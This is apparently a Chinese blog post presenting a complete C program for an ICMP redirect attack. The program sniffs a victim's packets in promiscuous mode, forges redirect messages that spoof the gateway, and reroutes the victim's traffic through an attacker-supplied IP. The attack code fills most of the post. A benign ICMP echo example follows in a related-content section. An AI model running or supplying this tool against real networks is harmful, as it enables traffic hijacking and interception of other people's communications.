使用Raw Socket实现ICMP重定向

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<netinet/ip_icmp.h>
#include<netinet/tcp.h>
#include<netinet/udp.h>
#include<arpa/inet.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/ether.h>
#define BUFFSIZE 1024

/*
*总体思路:每当用raw socket捕获一个特定IP地址的数据包
*就利用收到的数据包的一部分,构造一个ICMP包,发送给该数据包的源IP地址,同时将发送方的身份修改为网关
*重要提示:请确保自己的机子开启了混杂模式!!!不然很难捕获到受害者的数据包
*/

/*
*ifconfig eth0 promisc 设置eth0为混杂模式。

*ifconfig eth0 -promisc 取消它的混杂模式

*可能需要加sudo
*/

//struct of the packet to be sent
struct packet{
        struct iphdr ip_header;
        struct icmp my_icmp;
}packet;

//计算校验和
unsigned short in_cksum(unsigned short *addr, int len)
{
        int sum=0;
        unsigned short res=0;
        while( len > 1)  {
                sum += *addr++;
                len -=2;
               // printf("sum is %x.\n",sum);
        }
        if( len == 1) {
                *((unsigned char *)(&res))=*((unsigned char *)addr);
                sum += res;
        }
        sum = (sum >>16) + (sum & 0xffff);
        sum += (sum >>16) ;
        res = ~sum;
        return res;
}
int main(int argc,char *argv[]){

	int recvsock;//用于接收以太网帧的socket
	int sendsock;//用于构造重定向ICMP的socket
	unsigned char buff[BUFFSIZE];
	unsigned char* gateway_ip;
	unsigned char* victim_ip;
	unsigned char* attacker_ip;
	if(argc < 4){
		printf("please enter the ip of gateway victim attacker");
		return -1;
	}
	//将命令行参数分别保存给对应IP地址
	gateway_ip = argv[1];
	victim_ip = argv[2];
	attacker_ip = argv[3];

	printf("the victim is %s", victim_ip);

	//the receiver of the ICMP redirect packet 
	struct sockaddr_in dest;
    dest.sin_family=AF_INET;
    dest.sin_addr.s_addr=inet_addr(victim_ip);

	//create the socket for capturing the very packet
	recvsock = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
	if(recvsock < 0){
		printf("raw recvsocket error!\n");
		exit(1);
	}
	//create necessary info for capturing the very packet
	// struct sockaddr_in filteraddr;
	// filteraddr.sin_family = AF_INET;
	// filteraddr.sin_port = 0;
	// filteraddr.sin_addr.s_addr = inet_addr(victim_ip);
	// int addr_len=sizeof(struct sockaddr_in);

	//create the sendsock
	sendsock = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);
	//since we want to send packet as a gateway, we should change the IPheader 
	const int on = 1;
	if(setsockopt(sendsock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(int)) < 0)
	{	
 	 printf("set socket option error!\n");
	}

	int res;
	while(1){
		res = recvfrom(recvsock, buff, BUFFSIZE, 0, NULL, NULL);
		if(res < 0){
		printf("receive error!\n");
		return -2;
		}
		struct ip *ip = (struct ip*)(buff+14);
		if(strcmp(inet_ntoa(ip->ip_src), victim_ip) != 0  ){
			continue;
		}
		printf("\ngot a packet from %s \n", inet_ntoa(ip->ip_src));
		printf("%15s", inet_ntoa(ip->ip_src));
		printf("%15s	%5d	\n",inet_ntoa(ip->ip_dst),ip->ip_p);

		//next, we will create the redirect packet and send to the victim as a gateway continually
		//first, we create the ip header
		struct packet redirect_pack;
		redirect_pack.ip_header.version = 4;
		redirect_pack.ip_header.ihl = 5;// per 4 bytes
		redirect_pack.ip_header.tos = 0;
		redirect_pack.ip_header.tot_len = htons(56);//packet total length
		redirect_pack.ip_header.id = getpid();
		redirect_pack.ip_header.frag_off = 0;
		redirect_pack.ip_header.ttl = 64;
		redirect_pack.ip_header.protocol = IPPROTO_ICMP;
		redirect_pack.ip_header.check = 0; //checksum set 0 ,finally we will get the correct number
		redirect_pack.ip_header.saddr = inet_addr(gateway_ip);
		redirect_pack.ip_header.daddr = inet_addr(victim_ip);
		//then, we create the partion of IP data (ICMP) of the redirect packet
		redirect_pack.my_icmp.icmp_type = ICMP_REDIRECT;
		redirect_pack.my_icmp.icmp_code = ICMP_REDIR_HOST;
		redirect_pack.my_icmp.icmp_cksum = 0;
		redirect_pack.my_icmp.icmp_hun.ih_gwaddr.s_addr = inet_addr(attacker_ip);//here is the very keypoint 
		//we need to pad something with the packet we captured 
		memcpy(&redirect_pack.my_icmp.icmp_dun, ip, 28);//the padding part include the ip header + 8bytes ip data
		//calculate the checksum again
		redirect_pack.ip_header.check = in_cksum(&(redirect_pack.ip_header), sizeof(redirect_pack.ip_header));
		redirect_pack.my_icmp.icmp_cksum = in_cksum(&(redirect_pack.my_icmp), sizeof(redirect_pack.my_icmp)+8);
		//now we can send the icmp redirect packet
		printf("now we are sending the redirect package to victim %s\n", victim_ip);
		sendto(sendsock, &redirect_pack, 56, 0, (struct sockaddr *)&dest, sizeof(dest));
	}
	close(recvsock);
	close(sendsock);


}

 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
使用 RAW SOCKET 可以直接访问网络层,因此可以发送和接收 ICMP 消息。以下是一个 C 语言示例代码,演示如何使用 RAW SOCKET 发送 ICMP 消息并解析回应。 首先,我们需要包含必要的头文件: ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <arpa/inet.h> #include <netdb.h> #include <errno.h> ``` 接下来,我们定义一些常量和结构体: ```c // ICMP 包头部长度 #define ICMP_HDRLEN 8 // IP 数据包头部长度 #define IP4_HDRLEN 20 // ICMP 报文类型 #define ICMP_ECHO_REQUEST 8 // 定义 ICMP 报文结构体 struct icmp_packet { struct icmphdr hdr; char msg[64 - ICMP_HDRLEN]; }; // 定义 IP 数据包结构体 struct ip_packet { struct iphdr hdr; struct icmp_packet icmp; }; ``` 然后,我们定义一些辅助函数: ```c // 计算校验和 unsigned short checksum(void *b, int len) { unsigned short *buf = b; unsigned int sum = 0; unsigned short result; for (sum = 0; len > 1; len -= 2) { sum += *buf++; } if (len == 1) { sum += *(unsigned char *) buf; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); result = ~sum; return result; } // 发送 ICMP 消息 int send_icmp(int sock_fd, struct sockaddr_in *dest_addr) { struct ip_packet packet; // 设置 ICMP 包头部 packet.icmp.hdr.type = ICMP_ECHO_REQUEST; packet.icmp.hdr.code = 0; packet.icmp.hdr.checksum = 0; packet.icmp.hdr.un.echo.id = getpid(); packet.icmp.hdr.un.echo.sequence = 1; memset(packet.icmp.msg, 'A', sizeof(packet.icmp.msg)); // 计算 ICMP 包校验和 packet.icmp.hdr.checksum = checksum(&packet.icmp, sizeof(packet.icmp)); // 设置 IP 数据包头部 packet.hdr.version = 4; packet.hdr.ihl = 5; packet.hdr.tos = 0; packet.hdr.id = htons(getpid()); packet.hdr.ttl = 64; packet.hdr.protocol = IPPROTO_ICMP; packet.hdr.saddr = INADDR_ANY; packet.hdr.daddr = dest_addr->sin_addr.s_addr; packet.hdr.tot_len = htons(IP4_HDRLEN + ICMP_HDRLEN); // 发送 ICMP 消息 if (sendto(sock_fd, &packet, sizeof(packet), 0, (struct sockaddr *) dest_addr, sizeof(*dest_addr)) < 0) { perror("sendto"); return -1; } return 0; } // 接收 ICMP 消息 int recv_icmp(int sock_fd, struct sockaddr_in *src_addr) { char buf[2048]; // 接收 ICMP 消息 socklen_t len = sizeof(*src_addr); int ret = recvfrom(sock_fd, buf, sizeof(buf), 0, (struct sockaddr *) src_addr, &len); if (ret < 0) { perror("recvfrom"); return -1; } // 解析 ICMP 消息 struct ip_packet *ip_pkt = (struct ip_packet *) buf; struct icmphdr *icmp_hdr = (struct icmphdr *) (buf + sizeof(struct iphdr)); if (icmp_hdr->type == ICMP_ECHO_REQUEST && icmp_hdr->code == 0) { printf("Received echo reply from %s\n", inet_ntoa(src_addr->sin_addr)); return 0; } return -1; } ``` 最后,我们可以使用这些函数来发送和接收 ICMP 消息: ```c int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s <IP address>\n", argv[0]); return -1; } // 创建 RAW SOCKET int sock_fd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); if (sock_fd < 0) { perror("socket"); return -1; } // 设置目标地址 struct sockaddr_in dest_addr; memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.sin_family = AF_INET; dest_addr.sin_port = 0; if (inet_pton(AF_INET, argv[1], &dest_addr.sin_addr) <= 0) { perror("inet_pton"); return -1; } // 发送 ICMP 消息 if (send_icmp(sock_fd, &dest_addr) < 0) { return -1; } // 接收 ICMP 消息 struct sockaddr_in src_addr; memset(&src_addr, 0, sizeof(src_addr)); if (recv_icmp(sock_fd, &src_addr) < 0) { return -1; } close(sock_fd); return 0; } ``` 注意,使用 RAW SOCKET 需要 root 权限。此外,防火墙可能会阻止 ICMP 消息。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值